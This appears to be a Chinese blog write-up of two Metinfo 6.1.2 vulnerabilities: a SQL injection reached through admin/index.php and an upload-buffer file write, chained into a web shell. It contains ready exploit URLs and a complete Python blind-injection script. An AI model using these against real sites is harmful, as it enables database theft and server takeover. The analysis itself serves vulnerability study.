Metinfo利用SQL注入getshell

简介

  • Metinfo是一个用MYSQL+PHP开发的适用于中小型企业的CMS(建站系统)
  • 2018年10月Metinfo被爆出存在SQL注入漏洞(CNVD-2018-20024)
  • 2019年3月11号爆出Metinfo利用sql注入getshell漏洞(SSV-97851)

    利用上述两个漏洞进行Getshell测试

漏洞解析

CNVD-2018-20024

源码

/app/system/message/web/message.class.php

观察高亮部分语句,发现columnid参数的数据没有用单引号括起来,期待用户输入一个数值,如果没有过滤参数,可以直接进行SQL注入

例:

跟进okinfo函数

但没有过滤是不可能的,看install/index.php文件中

调用daddslashes()函数对客户端传入的参数进行过滤,跟进daddslashes()函数

如果魔法引号开关未开启,进行数据过滤,高亮部分根据IN_ADMIN这个常量是否定义,决定使用过滤函数的方式。addslashes()只是转义了预定义字符(单引号、双引号、反斜杠),但sqlinsert()这个函数则基本过滤了敏感词,无法进行SQL注入。所以是否定义IN_ADMIN常量成为突破口。

  • 在源码中搜索关键词’IN_ADMIN’

  • 发现在admin/index.php中定义了IN_ADMIN,其实就是后台管理员登陆的入口

admin/index.php中不止定义了IN_ADMIN,还获取了好几个$_GET参数,通过这几个参数,可以访问普通用户能访问到的所有页面。

通过admin/index.php访问message页面

http://127.0.0.1/metinfo6.1.2/admin/index.php? m=web&n=message&c=message&a=domessage

观察domessage函数,可以控制action字段,访问add函数

添加完整参数访问存在漏洞函数

http://127.0.0.1/metinfo6.1.2/admin/index.php?m=web&n=message&c=message&a=domessage&action=add&para137=huha&para186=1212341234@qq.com&para138=789&para140=789&code=1234&lang=cn

配合id参数进行盲注dump数据库

  • 注:并不是所有类的方法都可以直接通过admin/index.php直接访问

本地测试

# 盲注脚本
import requests

def doinject(url, sqli_input, i, num):
    # 在这里可以自定义你的payload
    payload = "ascii(substr((%s),%d,1))>%d&code=5R8j" % (sqli_input, i + 1, num)
    r = requests.get(url + payload)

    # 在这里定义对于不同响应的处理
    if "验证码错误" in r.text:
        return True
    else:
        return False

def getvalue(url, len, sqli_input):
    # 二分法
    flag = ''
    for i in range(len):
        s = 33
        t = 126
        while (s < t):
            m = (s + t) / 2
            result = doinject(url, sqli_input, i, m)
            if result:
                s = m + 1
            else:
                t = m
            if (t - s <= 1):
                if (doinject(url, sqli_input, i, s)):
                    m = t
                    break
                else:
                    m = s
                    break
        flag += chr(int(m))
        print (flag)


if __name__ == '__main__':
    # 目标url
    base_url = "http://127.0.0.1/metinfo6.1.2/admin/index.php"
    query = "?m=web&n=message&c=message&a=domessage&action=add¶137=huha¶186=1278570385@qq.com¶138=789¶140=789&lang=cn&id=42 and "
    url = base_url+query
    print(url)
    # 在这里定义你的注入语句
    sqli_input = 'select database()'
    getvalue(url, 30, sqli_input)

漏洞解析

SSV-97851

源码

app/system/include/class/web.class.php

调用ob_get_contents()函数将缓冲区的数据写进$output变量中。

  • 注:如果程序开启了缓冲区,PHP会先将要输出的数据放到内存中,等待指令输出。

继续往下看,如果if后面的判断语句成立,就会将output变量,也就是缓冲区的内容写入到PATH_WEB.$filename文件中,表达式要成立的关键是metindonow字段的内容跟met_member_force字段的内容相同,$_M['config']['met_member_force']是建站时配置的初始化参数,可以在install/index.php中找到,这个字段的值是运用randstr(7)求出的一个随机7位小写字符串

很明显这个字段存在数据库中,可以利用上一个漏洞SQL注入获取信息,因为$_M['form']['html_filename']是可控的,所以output写入的文件名是可控的

现在最关心的就是$output的值,也就是文件内容是否是可控的,找到输出缓冲区的地方:

app/system/include/module/uploadify.class.php中的上传文件函数

这个类继承了上面那个web基类的析构函数,echo语句输出的内容暂存在缓冲区中,可以利用注入出来的$_M['config']['met_member_force']字段将echo语句内容写入到文件中

跟进upload方法,发现可以控制['formname']字段将上传文件属性存储到$filear变量中

如果上传的文件名后缀不在系统给出的白名单中,会调用error函数将后缀名写到$back变量中

观察后缀名处理函数,发现如果文件没有后缀名,那么文件名就是后缀名,上传文件名是可控的,即写入缓冲区的内容是可控的

类似第一个漏洞,利用admin/index.php添加参数访问doupload漏洞函数,修改参数任意上传文件

本地测试

利用burp抓包构建payload

在网站根目录写入5.php文件

至此,可以利用Metinfo的SQL注入Getshell

1 Reply to “Metinfo利用SQL注入getshell”

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据